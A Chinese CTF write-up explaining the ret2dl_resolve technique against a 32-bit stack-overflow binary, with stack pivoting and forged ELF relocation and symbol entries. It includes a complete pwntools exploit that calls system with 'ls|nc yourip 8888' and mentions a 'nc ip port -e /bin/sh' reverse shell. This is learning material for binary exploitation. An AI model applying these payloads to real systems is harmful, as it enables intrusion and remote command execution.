前言
在上篇文章中说过dl_runtime_resolve
延迟绑定的技术原理,这篇记录ret2dl_resolve
的攻击方法。
DEMO
代码很简单:1
2
3
4
5
6
7
8
9
10
11int main()
{
read_msg();
return 0;
}
int read_msg()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 64);
}
还是一个stack overflow,但是没有libc
、没有write
等打印函数,所以也泄露
不了信息。再加上这只能输入64个字节。考虑用ret2dl_resolve
。
ret2dl_resolve
根据上一篇文章,大概的攻击思路如下:
- 1、在一段可控的地址内伪造好
Elf32_Rel
、Elf32_Sym
、需要调用的函数名称(如system)、函数的参数(如nc ip port -e /bin/sh) - 2、计算好那段地址跟
dynsym
的距离,并放入栈顶 - 3、调用
plt[0]
,这里会push link_map; jmp _dl_runtime_resolve
这里先贴内存的布局,方便exp
的理解:
其中的
system_offset
、Elf32_Rel.r_info
、Elf32_Sym.st_name
就是需要我们计算的值,其余的A,B,C都是填充
用的,为了对齐或好看。同时我们可以使用bss
段来布局,但要注意选择在bss + 0x300
以上的地址,具体原因不明。。。经过死调调不出来得出。。。
栈迁移控eip
布局好后,接下来考虑的就是如何控制eip
指向plt[0]
,实现system调用。
这里用到了栈迁移
,首先看看漏洞位置:
注意到有
leave; ret
,并且用ROPgadget
还可以找到另一个leave;ret gadget
。那么前面一个leave; ret
就可以控制ebp
,后面一个控esp,eip
。
1 | leave == mov esp,ebp; pop ebp; |
我们布好需要切过去的地址,在第一次pop ebp
时就能将栈切过去,然后第二次leave
时将mov esp, ebp
,控制esp
的值,从而在ret
的时候因为前面pop
,esp要+4
,也就是我们构造好如'A' * 4 + p32(需要控去的地址)
,就能劫持eip
。
布局:
第一次
leave; ret
,控了ebp
:
第二次
leave; ret
,控了esp
,从而控住eip
:
以上就是通过栈迁移劫持eip的过程。
exp
有了上面的准备后,写出exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57# -*- coding:utf-8 -*-
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
# p = remote('127.0.0.1', 10000)
p = process('./babystack')
pelf = ELF('./babystack')
read_plt = pelf.plt["read"]
read_got = pelf.got["read"]
bss_addr = pelf.bss()
bss_stage = bss_addr + 0x800 # 大于 0x300
print "addr_bss: " , hex(bss_stage)
main_addr = 0x08048457
read_msg = 0x0804843B
leave_ret = 0x080483a8
pop_pop_pop_ret = 0x080484e9
pop_ebp_ret = 0x080484eb
payload = 'a' * 40 + p32(bss_stage) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_stage) + p32(0x100)
print "len(payload): ", hex(len(payload))
# p.send(payload) # 这里不到 0x100 个,再凑一些再发
pause()
dynsym = 0x080481cc # (SYMTAB) 0x80481cc
jmprel = 0x080482b0 # (JMPREL) 0x80482b0
dynstr = 0x0804822c # (STRTAB) 0x804822c
plt_0_addr = 0x080482F0
fake_system_rel = bss_stage + 0x20 # len(go_to_plt_0) == 0x10
fake_system_sym = fake_system_rel + 8 + 4 # Elf32_Rel 占8个字节, 加8填充
sys_str_addr = fake_system_sym + 16 # Elf32_Sym 占16个字节, len("system\x00") = 7
system_offset = fake_system_rel - jmprel
cmd = "system\x00"
args_addr = sys_str_addr + len(cmd)
go_to_plt_0 = "BBBB" + p32(plt_0_addr) + p32(system_offset) + "BBBB" + p32(args_addr) + "B" * 12
def fake_Elf32_Rel():
r_offset = p32(read_got)
r_info = ((fake_system_sym - dynsym) / 0x10) << 8
r_info = r_info | 0x7
return r_offset + p32(r_info) + 'C' * 4
def fake_Elf32_Sym():
st_name = sys_str_addr - dynstr
return p32(st_name) + p32(0x0) + p32(0x0) + p32(0x12)
faker = go_to_plt_0 + fake_Elf32_Rel() + fake_Elf32_Sym() + cmd + "ls|nc yourip 8888\x00"
together = (payload + faker).ljust(0x100, '\x00')
print "len(together): ", hex(len(together))
p.send(together)
p.interactive()
另一种使用roputils
学习了再写。。。